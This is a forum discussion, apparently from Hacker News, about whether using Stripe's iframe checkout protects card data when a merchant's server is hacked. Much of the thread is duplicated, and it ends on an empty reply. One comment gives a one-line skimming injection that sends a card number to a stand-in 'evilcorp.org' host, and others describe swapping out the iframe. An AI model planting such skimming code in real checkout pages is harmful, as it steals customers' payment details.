6 ms·

Stripe does not bypass PCI. Stripe does not transmit any credit card information to your servers and if there are no CC info on your server then you don't have

Stripe does not bypass PCI. Stripe does not transmit any credit card information to your servers and if there are no CC info on your server then you don't have to deal with PCI compliance. If your server gets hacked you don't have any customer info stored on it. All you have is a stripe token.

BillinghamJ 11y ago
More specifically, if there is no CC info transmitted via your servers.
sleepyhead 11y ago
Well the server holds the checkout page. And the server is hacked. So if attacker just add onblur = getjson(evilcorp.org?cc=value) to the checkout page attacker got the cc details. No?
- eibrahim 11y ago
  Sure but there are 2 scenarios here. ONE: You don't use stripe and save all you customer info locally and procces it some other way TWO: You use stripe and never store any CC info on your server. THEN: Your server is hacked. In ONE, you lose customer CC info because it is stored on your server. In TWO, you do NOT. Sure they can redirect you to a fake payment page, but that will get noticed quickly and damage will be limited to "phished" users not your entire user base.
  - sleepyhead 11y ago
    For CC details to be stored the attacker needs to modify files though. Other payment gateways just process CC details locally, it is not stored. So either the attacker modifies files to store CC details - or the attacker gets access to log files (but CC details do not belong there either off course).
ryanlol 11y ago
But generally the credit card data is in fact transmitted via your website to stripe. While not over the network, the user enters his credit card into the form ON YOUR WEBSITE that POSTs it on to stripe. This means your site has full access to the credit card info, choosing whether or not to store is up to you (or in case you get hacked, up to the hacker).
- derefr 11y ago
  No. You embed Stripe's iframe, which posts to Stripe. The iframe has a separate origin from your own website, which creates a mutual isolation boundary between your site and that iframe: neither can read or modify the contents of the other. It's just as secure as e.g. Paypal's workflow of redirecting to the Paypal website and back.
  - X0Refraction 11y ago
    It's not the same, if the merchant's webserver is compromised they can just change the src attribute of the iframe to point to their card number collecting iframe that wraps the Stripe iframe. With the redirect method the customer can see in the URL bar where their card data is being sent to.
  - ryanlol 11y ago
    I'm aware, but I was talking more in the practical sense. The attacker can replace the iframe with his own and proxy it, or perhaps simply display an error and ask the user to re-insert his payment info into the actual stripe form.
    - derefr 11y ago
      The attacker can replace the server's response with his own form that pretends to be Stripe's, too. In the end, there's no real defense against phishing.
      - X0Refraction 11y ago

BillinghamJ 11y ago

More specifically, if there is no CC info transmitted via your servers.

sleepyhead 11y ago

Well the server holds the checkout page. And the server is hacked. So if attacker just add onblur = getjson(evilcorp.org?cc=value) to the checkout page attacker got the cc details. No?

eibrahim 11y ago
Sure but there are 2 scenarios here. ONE: You don't use stripe and save all you customer info locally and procces it some other way TWO: You use stripe and never store any CC info on your server. THEN: Your server is hacked. In ONE, you lose customer CC info because it is stored on your server. In TWO, you do NOT. Sure they can redirect you to a fake payment page, but that will get noticed quickly and damage will be limited to "phished" users not your entire user base.
- sleepyhead 11y ago
  For CC details to be stored the attacker needs to modify files though. Other payment gateways just process CC details locally, it is not stored. So either the attacker modifies files to store CC details - or the attacker gets access to log files (but CC details do not belong there either off course).

ryanlol 11y ago

But generally the credit card data is in fact transmitted via your website to stripe. While not over the network, the user enters his credit card into the form ON YOUR WEBSITE that POSTs it on to stripe. This means your site has full access to the credit card info, choosing whether or not to store is up to you (or in case you get hacked, up to the hacker).

derefr 11y ago
No. You embed Stripe's iframe, which posts to Stripe. The iframe has a separate origin from your own website, which creates a mutual isolation boundary between your site and that iframe: neither can read or modify the contents of the other. It's just as secure as e.g. Paypal's workflow of redirecting to the Paypal website and back.
- X0Refraction 11y ago
  It's not the same, if the merchant's webserver is compromised they can just change the src attribute of the iframe to point to their card number collecting iframe that wraps the Stripe iframe. With the redirect method the customer can see in the URL bar where their card data is being sent to.
- ryanlol 11y ago
  I'm aware, but I was talking more in the practical sense. The attacker can replace the iframe with his own and proxy it, or perhaps simply display an error and ask the user to re-insert his payment info into the actual stripe form.
  - derefr 11y ago
    The attacker can replace the server's response with his own form that pretends to be Stripe's, too. In the end, there's no real defense against phishing.
    - X0Refraction 11y ago